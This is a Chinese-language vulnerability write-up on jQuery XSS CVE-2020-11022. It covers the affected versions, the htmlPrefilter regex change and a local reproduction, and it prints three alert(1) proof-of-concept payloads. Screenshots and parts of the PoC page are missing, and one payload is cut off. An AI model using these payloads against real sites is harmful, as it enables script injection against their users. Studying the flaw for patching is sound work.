Jquery XSS漏洞(CVE-2020-11022)

漏洞详情

jQuery是美国John Resig程序员的一套开源、跨浏览器的JavaScript库。 jQuery 大于或等于1.2至3.5.0的版本中存在跨站脚本漏洞,该漏洞源于WEB应用缺少对客户端数据的正确验证。即使执行sanitize处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),攻击者可利用该漏洞执行客户端代码。

漏洞影响

V 1.2.0 <= jquery < V 3.5.0

漏洞分析

在html()方法中,HTML字符串将作为参数传递到 $ .htmlPrefilter()方法进行处理。 $ .htmlPrefilter()方法用于替换自闭合标签,有点类似标签自动补全。比如将 替换为

3.x版本之前使用的正则为:

rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace(rxhtmlTag, "<$1>" );
}

3.x之后使用的正则为:

rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

因为这个特性可以构造适合jQuery3.x的payload如下:

<x 
  

Jquery XSS漏洞(CVE-2020-11022)_第1张图片

漏洞利用

访问本地搭建好html测试页面

Jquery XSS漏洞(CVE-2020-11022)_第2张图片

点击 Append via .html() 即可触发弹窗:

Jquery XSS漏洞(CVE-2020-11022)_第3张图片

html页面POC代码如下:




    
    jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)
    



jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)

PoCs of XSS bugs fixed in jQuery 3.5.0. You can find the details in my blog post: English / 日本語

PoC 1

<style><style /><img src=x οnerrοr=alert(1)>

PoC 2 (Only jQuery 3.x affected)

<img alt="<x" title="/><img src=x οnerrοr=alert(1)>">

PoC 3

<option><style></option></select><img src=x οnerrοr=alert(1)></style>

参考:

https://mp.weixin.qq.com/s/QW5v5d7829m0Pz6AA6_XPQ

你可能感兴趣的